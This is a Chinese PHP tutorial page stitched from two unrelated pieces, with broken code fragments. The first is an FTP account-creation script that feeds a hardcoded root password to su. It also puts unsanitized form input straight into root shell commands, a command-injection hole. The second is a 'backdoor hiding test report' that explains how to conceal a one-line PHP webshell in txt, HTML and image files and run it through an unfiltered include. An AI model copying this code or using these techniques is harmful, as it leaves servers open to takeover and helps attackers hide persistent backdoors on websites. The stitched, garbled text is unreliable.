多数大学生出来选择的工作和专业无关
首页 > 专业知识

用PHP实现Ftp用户的在线管理

时间:2019-02-10 17:55:38 [来源]:郑州PHP培训学校

   用PHP实现Ftp用户的在线管理

  实现在线报名和上传作品的思路是利用网页表单收集用户填写的资料存储到Mysql数据库内,同时以该用户的注册名创建一个FTP上传账号并创建该用户的相应目录。
  Ftp服务器是系统默认带的,采用系统用户的用户名和密码,创建系统用户就等于创建FTP用户,FreeBSD是属于UNIX阵营的操作系统,它没有象Linux一样的useradd和groupadd等创建用户和组的命令,其取而代之的是pw命令加上相应参数来实现,在Freebsd上以管理员的身份创建一个用户的命令是以下是引用片段:
  echo | pw useradd [-g][groupname] [-s][shelldir][-h 0]
  参数g指定用户组,参数s指定用户的shell。
  如果是普通用户登陆的话还必须用到su命令,调用的方法是以下是引用片段:
  su root –c ‘echo | pw useradd [-g][groupname] [-s][shelldir][-h 0] ’
  执行之后系统会要求输入管理员密码,输入密码就可以以管理员的身份执行这个命令了。
  实现这步操作的主要难点在于如何通过PHP来调用上面这些系统命令去创建一个用户,本例是使用PHP中的popen()函数来实现的,该函数执行指令打开文件,语法是int popen(string command, string mode),其打开的文件只能是单向的,只能读或只能写,对应的“string mode”为’r’或’w’,“string command” 就是命令字符串,在对文件的操作上可使用 fgets()、fgetss()与fputs()函数,本例用fputs()函数往文件里面输入管理员密码。若是开档发生错误将返回 false 值,最后函数要记得调用pclose()关闭。
  下面我们来规划一下FTP用户的组,事先我们先用pw groupadd ftpuser创建ftpuse组,让在线申请的用户为这个组的成员。为了安全起见,我们不应该给FTP用户Telnet权限,所以我们还要专门给他们创建一个shell,使得他们不能通过Telnet正常登陆系统,方法如下:先创建一个文件/bin/ftponly以下是引用片段:
  #!/bin/csh
  /bin/cat << XX
  You can ony use this username to login ftp server!
  And you can not use it to telnet to this system! XXsleep 10
  该文件中XX之间就是显示给用telnet登陆的用户看的信息。信息显示10秒钟就自动退出了。最后不要忘记用chmod +x /bin/ftponly给这个文件可执行属性。
  然后在/bin/shell文件中添加“/bin/ftponly”,在以后的命令里面我们就可以利用pw中-s参数把这个shell指定给FTP用户了。
  最后还要注意一个问题,su命令仅仅是wheel管理组的用户成员才可以使用,当PHP调用su命令的时候也必须以wheel组成员的身份运行,否则系统拒绝运行,而PHP运行系统命令的身份就是Apache Web服务器运行的身份,初始的用户名和用户组都是nobody,所以先得建立一个wheel组的用户www供apache使用,接着更改Apache的配置文件httpd.conf中的user为www,group为wheel,重新启动Apache,就可以以新用户身份运行了。
  下面可以创建PHP源文件checkin.php了,代码如下:
  以下是引用片段:
  { $rootpasswd="adminpassword"; //定义管理员密码$creatuser ="su --login root -c 'echo ".$userpasswd." | pw useradd ".$username." -s /bin/ftponly -g ftpuser –s /bin/ftponly -h 0' "; //这是利用su和pw命令创建用户的用到的字符串$fp=popen($creatuser,"w"); //调用popen()函数执行字符串中的命令,返回文句柄给$fpfputs($fp,$rootpasswd); //写入管理员密码到文件$fp,相当于输入密码给系统pclose($fp);//关闭文件
  $creatdir="su --login root -c 'mkdir /home/".$username."'";//创建用户目录的命令字符串$fp=popen($creatdir,"w");//执行命令创建用户目录fputs($fp,$rootpasswd); //输入管理员密码
  pclose($fp);
  $creatdir="su --login root -c 'mkdir /home/".$username."/public_html'";$fp=popen($creatdir,"w"); //执行命令创建用户网站根目录fputs($fp,$rootpasswd); //输入管理员密码
  pclose($fp);
  $creatdir="su --login root -c 'chown ".$username." /home/".$username."'"; //改变用户目录的所有者为用户自己,初始为运行Apache的用户www。
  $fp=popen($creatdir,"w"); //执行命令
  fputs($fp,$rootpasswd); //输入管理员密码
  pclose($fp);
  $creatdir="su --login root -c 'chown ".$username." /home/".$username."/public_html'"; //改变网站根目录的归属$fp=popen($creatdir,"w");
  fputs($fp,$rootpasswd);
  pclose($fp);
  echo "恭喜".$username.",您的的FTP账号已经申请成功!请到FTP上登陆,请注意,您没有Telnet权限";}
  else{?>
  PHP后门的隐藏技巧测试报告
  最近很多朋友都在问我是否能把我那一句话木马隐藏到HTML或图片里,其实把一句话木马插入到PHP文件中就已经很隐蔽了,如果说硬是要放到 HTML文件或图片里,就接着往下看这篇的篇测试报告吧。要知道如果光把PHP语句放到图片里是无论如何也不能执行的,因为PHP只解析扩展名为php的文件。所以说要能使隐藏在图片里的PHP语句执行。我们就的借助PHP中的调用函数 :include 、require 等。
  Include 函数在PHP中使用的比较频繁,所以引起的安全问题也实在太多,例如PHPWIND1.36的漏洞就是因为include后面的变量没做过滤引起的。由此我们就可以构造类似的语句来插入到PHP文件中。然后把木马隐藏到图片或HTML文件里,可以说隐蔽性就更高了。如在PHPWIND论坛里插入下面的语句:<‘’?@include includ/.$PHPWIND_ROOT;? > 一般管理员是无法看出来的。
  有了include 函数来辅助帮忙我们就可以把PHP木马隐藏到 诸如 txt、html和图片文件等很多类型的文件里来了。因为txt、html和图片文件这三种类型的文件最无论在论坛还是文章系统里是最为常见的了,下面我们就依次来做测试。
  首先建立一PHP文件test.php 文件内容为:
  $test=$_GET['test'];
  @include 'test/'.$test;
  ?>
  Txt文件一般都是说明文件,所以我们把一句话木马放到目录的说明文件里就OK了。随便建立一个TXT文件t.txt。我们把一句话木马粘贴到 t.txt文件里。然后访问 http://localhost/test/test.php?test=../t.txt 如果你看到t.txt的内容就证明Ok了, 然后把在lanker微型PHP后门客户端 木马地址添入 http://localhost/test/test.php?test=../t.txt 密码里添入cmd就可以了,执行返回的结果都可以看到。
  对于HTML的文件,一般都为模版文件。为了使插入到HTML的文件的木马能被调用执行而且不被显示出来,我们可以在HTML里加入一个隐藏属性的文本框 ,如: 然后使用方法同上。执行的返回结果一般都可以查看源文件看到。 如使用查看本程序目录功能。查看源文件内容为 我可以得到目录为 C:\Uniserver2_7s\www\test。
  下面我们说说图片文件,要说最为毒的一招莫过于把木马隐藏到图片里。我们可以直接对一个图片进行编辑,把插入到图片末尾经测试一般都不会对图片造成影响。然后同样方法客户端木马地址添入我们查看PHP环境变量 返回的是结果是原图片。
  这里可能要和我们想象的结果有些差距了,其实命令已经运行了,只是返回的结果看不到而已,因为这是真正的GIF文件,所以是不会显示返回结果的,为了证明是否真的执行了命令我们执行上传文件命令。果不出所料,文件已经成功上传到服务器上。这样伪造的优点是隐蔽性好。缺点也自然不用说了是没回显。如果你想看到返回的结果,那就拿出记事本伪造一个假的图片文件吧。
  到这里就基本测试完了,怎样隐蔽PHP后门就看你自己的选择了。行文仓促,如有不妥之处,请指出!
 

上一篇:PHP控制语句之循环执行代码块

下一篇:PHP编程中八种常见的文件操作方式